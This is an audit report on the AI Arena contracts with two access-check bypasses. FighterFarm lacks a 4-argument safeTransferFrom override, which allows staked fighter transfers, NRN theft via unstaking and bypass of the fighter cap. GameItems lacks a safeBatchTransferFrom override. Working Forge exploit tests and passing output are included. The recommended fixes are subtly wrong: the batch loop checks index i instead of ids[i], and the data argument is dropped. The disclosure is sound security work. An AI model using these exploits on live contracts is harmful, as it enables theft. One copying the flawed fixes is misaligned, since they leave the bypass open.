AI Arena - GhK3Ndf's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L543

Vulnerability details

Impact

Due to a missing override for ERC721:safeTransfer(address,address,uint256,bytes) in the FighterFarm contract, it is possible to transfer FTR tokens during conditions that are normally prevented via the checks in _ableToTransfer.

This can be abused to bypass the MAX_FIGHTERS_ALLOWED fighter limit to an address and hoard more fighters than intended, or transfer currently-staked FTR tokens to arbitrary addresses, allowing recipients to unstake any of the original owner's staked NRN behind the fighter.

Detail

The ERC721:safeTransfer(address,address,uint256,bytes) function from the codebase's OpenZeppelin ERC721 v4.7.3 import is not overridden in the FighterFarm contract.

Only the ERC721:safeTransferFrom(address,address,uint256) and ERC721:transferFrom(address,address,uint256) transfer functions are overridden in FighterFarm, which include a call to the internal FighterFarm:_ableToTransfer function that prevents FTR tokens from being transferred while they are staked or if the recipient has MAX_FIGHTERS_ALLOWED FTR tokens.

//File: src/FighterFarm.sol

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

contract FighterFarm is ERC721, ERC721Enumerable {
...

    function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _transfer(from, to, tokenId);
    }

...

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

...

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }
}

It is therefore possible to transfer a staked FTR token by directly calling FighterFarm:safeTransfer(address,address,uint256,bytes), bypassing the _abletoTransfer check.

//File: lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

Proof of Concept

The following Forge PoC tests may be added to test/RankedBattle.t.sol to demonstrate these impacts.

Transfering FTR tokens to an address with MAX_FIGHTERS_ALLOWED FTR tokens - testAudit_RankedBattle_bypassFTRLimit:

<details>

    // @audit : Can directly call FighterFarm:safeTransferFrom(from, to, tokenID, "") inherited by ERC721,
    // bypassing the _ableToTransfer which checks for MAX_FIGHTERS_ALLOWED via the overridden 
    // transferFrom functions function.
    function testAudit_RankedBattle_bypassFTRLimit() public {
        // confirm that MAX_FIGHTERS_ALLOWED is 10
        assertEq(_fighterFarmContract.MAX_FIGHTERS_ALLOWED(), 10);
        // set up staker account, mint a FTR NFT, and fund with 4k NRN
        address user1 = vm.addr(3);
        address user2 = vm.addr(4);
        uint256 i;
        // mint FTR #0-9 to user 1
        for(i = 0; i < _fighterFarmContract.MAX_FIGHTERS_ALLOWED(); i++){
            _mintFromMergingPool(user1);      
        }
        // mint FTR #10-19 to user 2
        for(i = 0; i < _fighterFarmContract.MAX_FIGHTERS_ALLOWED(); i++){
            _mintFromMergingPool(user2);      
        }
        // the users are unable to transfer tokens to eachother due to hitting the MAX_FIGHTERS_ALLOWED limit
        vm.startPrank(user1);
        vm.expectRevert();
        _fighterFarmContract.transferFrom(user1, user2, 0);
        vm.stopPrank();
        vm.startPrank(user2);
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(user2, user1, 11);
        vm.stopPrank();
        // confirm each user has the max number of fighters allowed
        assertEq(_fighterFarmContract.balanceOf(user1), 10);
        assertEq(_fighterFarmContract.balanceOf(user2), 10);
        // the FTR limit can be bypassed via non-overloaded FighterFarm:safeTransferFrom(from, to, tokenID, "")
        vm.startPrank(user1);
        for(i = 0; i < _fighterFarmContract.MAX_FIGHTERS_ALLOWED(); i++){
            _fighterFarmContract.safeTransferFrom(user1, user2, i, "");     
        }
        vm.stopPrank();
        // confirm user2 now has 20 fighters and user1 has 0
        assertEq(_fighterFarmContract.balanceOf(user1), 0);
        assertEq(_fighterFarmContract.balanceOf(user2), 20);    
    }

</details>

Transfering FTR tokens while they are actively staked - testAudit_RankedBattle_transferWhileStaking:

<details>

    // @audit Can directly call FighterFarm:safeTransferFrom(from, to, tokenID, "") inherited by ERC721,
    // bypassing the _ableToTransfer which checks for staking via the overridden 
    // FighterFarm:safeTransferFrom(from, to, tokenID) function, and unstake the original staker's NRN as the new owner
    function testAudit_RankedBattle_transferWhileStaking() public {
        // confirm that the RankedBattle contract has the staker role
        assertEq(_neuronContract.hasRole(keccak256("STAKER_ROLE"), address(_rankedBattleContract)), true);
        // set up staker account, mint a FTR NFT, and fund with 4k NRN
        address staker = vm.addr(3);
        address stakerAccount2 = vm.addr(4);
        uint256 unclaimedNRNStaker1;
        uint256 unclaimedNRNStaker2;
        uint256 staker2BalanceBefore;
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);
        // as staker...
        vm.startPrank(staker);
        // confirm that staker has 4K NRN
        assertEq(_neuronContract.balanceOf(staker) >= 4_000 * 10 ** 18, true);
        // confirm that staker owns FTR with ID 0
        assertEq(_fighterFarmContract.ownerOf(0), staker);
        // confirm FighterFarm still considers FTR#0 as not staked
        assertEq(_fighterFarmContract.fighterStaked(0), false);
        // stake 3K NRN via RankedBattle, triggering FighterFarm to stake FTR #0
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        // confirm that FTR #0 is currently staked.
        assertEq(_fighterFarmContract.fighterStaked(0), true);
        // confirm amount of NRN staked to FTR#0 is 3K NRN
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        // unsuccessfully attempt to transfer FTR #0 via overloaded FighterFarm:transferFrom(from, to, tokenID) to stakerAccount2
        vm.expectRevert();
        _fighterFarmContract.transferFrom(_ownerAddress, stakerAccount2, 0);
        // unsuccessfully attempt to transfer FTR #0 via overloaded FighterFarm:safeTransferFrom(from, to, tokenID) to stakerAccount2
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, stakerAccount2, 0);
        vm.stopPrank();
        // simulate FTR 0 winning a round and a new round starting
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        _rankedBattleContract.setNewRound();
        // assert user 2 has no NRN before transfer/unstake
        assertEq(_neuronContract.balanceOf(stakerAccount2), 0 );
        vm.startPrank(staker);
        // successfully transfer FTR #0 via non-overloaded FighterFarm:safeTransferFrom(from, to, tokenID, "") to stakerAccount2
        _fighterFarmContract.safeTransferFrom(staker, stakerAccount2, 0, "");
        // confirm new owner of FTR#0 is stakerAccount2
        assertEq(_fighterFarmContract.ownerOf(0), stakerAccount2);
        // confirm FighterFarm still considers FTR#0 as staked.
        assertEq(_fighterFarmContract.fighterStaked(0), true);
        // confirm amount of NRN staked to FTR#0 is still 3K NRN
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        vm.stopPrank();
        // unstake FTR #0's staked NRN as user 2, originally staked by user 1
        vm.startPrank(stakerAccount2);
        _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_neuronContract.balanceOf(stakerAccount2), 3_000 * 10 ** 18 );
        vm.stopPrank();
    }

</details>

The tests can be run with the following forge command.

forge test --match-test testAudit 
[⠒] Compiling...
No files changed, compilation skipped

Running 2 tests for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testAudit_RankedBattle_bypassFTRLimit() (gas: 8000561)
[PASS] testAudit_RankedBattle_transferWhileStaking() (gas: 1001697)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.94ms
 
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

It is recommended to add the following override for ERC721:safeTransfer(address,address,uint256,bytes) to the FighterFarm contract:

    //File: /src/FighterFarm.sol

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L5

Vulnerability details

Impact

Due to a missing override for ERC1155:safeBatchTransferFrom in the GameItems contract, it is possible to transfer AGI game token items while they are marked as non-transferable via allGameItemAttributes[tokenId].transferable.

This can be abused to transfer or trade game items that are marked as non-tradeable by the GameItems contract owner.

Detail

The ERC1155:safeBatchTransferFrom function inherited from the codebase's OpenZeppelin ERC1155 v4.7.3 import is not overridden in the GameItems contract.

Only the ERC1155:safeTransferFrom transfer function is overridden in GameItems, which includes a check for the allGameItemAttributes[tokenId].transferable flag that prevents AGI tokens from being transferred while their respective transferable flag is set to false.

//File: src/GameItems.sol

import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";

contract GameItems is ERC1155 {

...

    struct GameItemAttributes {
        string name;
        bool finiteSupply;
        bool transferable;
        uint256 itemsRemaining;
        uint256 itemPrice;
        uint256 dailyAllowance;
    }  

...

    GameItemAttributes[] public allGameItemAttributes;

...

      function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }
}

It is therefore possible to transfer a currently non-transferable AGI token by directly calling GameItems:safeBatchTransferFrom, bypassing the allGameItemAttributes[tokenId].transferable check.

//File: lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Proof of Concept

The following Forge PoC test may be added to test/RankedBattle.t.sol to demonstrate transfering AGI tokens marked as non-transferable. Note that an onERC1155Received check must also be added to RankedBattle.t.sol.

<details>

    // @audit : Can directly call GamesItems:safeBatchTransferFrom inherited by ERC1155,
    // bypassing the allGameItemAttributes[tokenId].transferable check when transfering through
    // GamesItems:safeTransferFrom
    function testAudit_GameItems_bypassTransferableRestriction() public {
        // set up the GamesItem/Neuron contracts for testing
        _neuronContract.addSpender(address(_gameItemsContract)); 
        _gameItemsContract.instantiateNeuronContract(address(_neuronContract));
        _gameItemsContract.createGameItem("Battery", "https://ipfs.io/ipfs/", true, true, 10_000, 1 * 10 ** 18, 10);
        // create test user1 and user2
        address user1 = vm.addr(3);
        address user2 = vm.addr(4);
        //mint and transfer an AGI#0 token to user1
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries 
        _gameItemsContract.safeTransferFrom(_ownerAddress, user1, 0, 1, "");
        // make AGI#0 non-transferable
        _gameItemsContract.adjustTransferability(0, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);
        // confirm user1  has 1 AGI#0, and user2 has 0
        assertEq(_gameItemsContract.balanceOf(user1, 0), 1);
        assertEq(_gameItemsContract.balanceOf(user2, 0), 0);
        vm.startPrank(user1);
        // expect safeTransferFrom to fail as AGI#0 is not transferable.
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(user1, user2, 0, 1, "");
        // prepare safeBatchTransferFrom arguments.
        uint256[] memory _ids = new uint256[](1);
        uint256[] memory _amounts = new uint256[](1);
        _ids[0] = 0;
        _amounts[0] = 1;
        // transfer an AGI#0 from user1 to user2 while it is still not transferable.
        _gameItemsContract.safeBatchTransferFrom(user1, user2, _ids, _amounts, "");
        vm.stopPrank();
        // confirm user1 now has 0 AGI#0, and user2 now has 1
        assertEq(_gameItemsContract.balanceOf(user1, 0), 0);
        assertEq(_gameItemsContract.balanceOf(user2, 0), 1);
        // confirm game item is still not marked astransferable
        (,, transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);
    }

    function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }
    

</details>

The tests can be run with the following forge command.

forge test --match-test testAudit 
[⠒] Compiling...
[⠊] Compiling 1 files with 0.8.13
[⠢] Solc 0.8.13 finished in 2.83s
Compiler run successful!

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testAudit_GameItems_bypassTransferableRestriction() (gas: 440289)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.50ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

It is recommended to add an override for ERC1155:safeBatchTransferFrom to the GameItems contract, similar to the following:

    //File: /src/GameItems.sol

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        uint256 i;
        for(i = 0; i < ids.length; i++){
            require(allGameItemAttributes[i].transferable);     
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Invalid Validation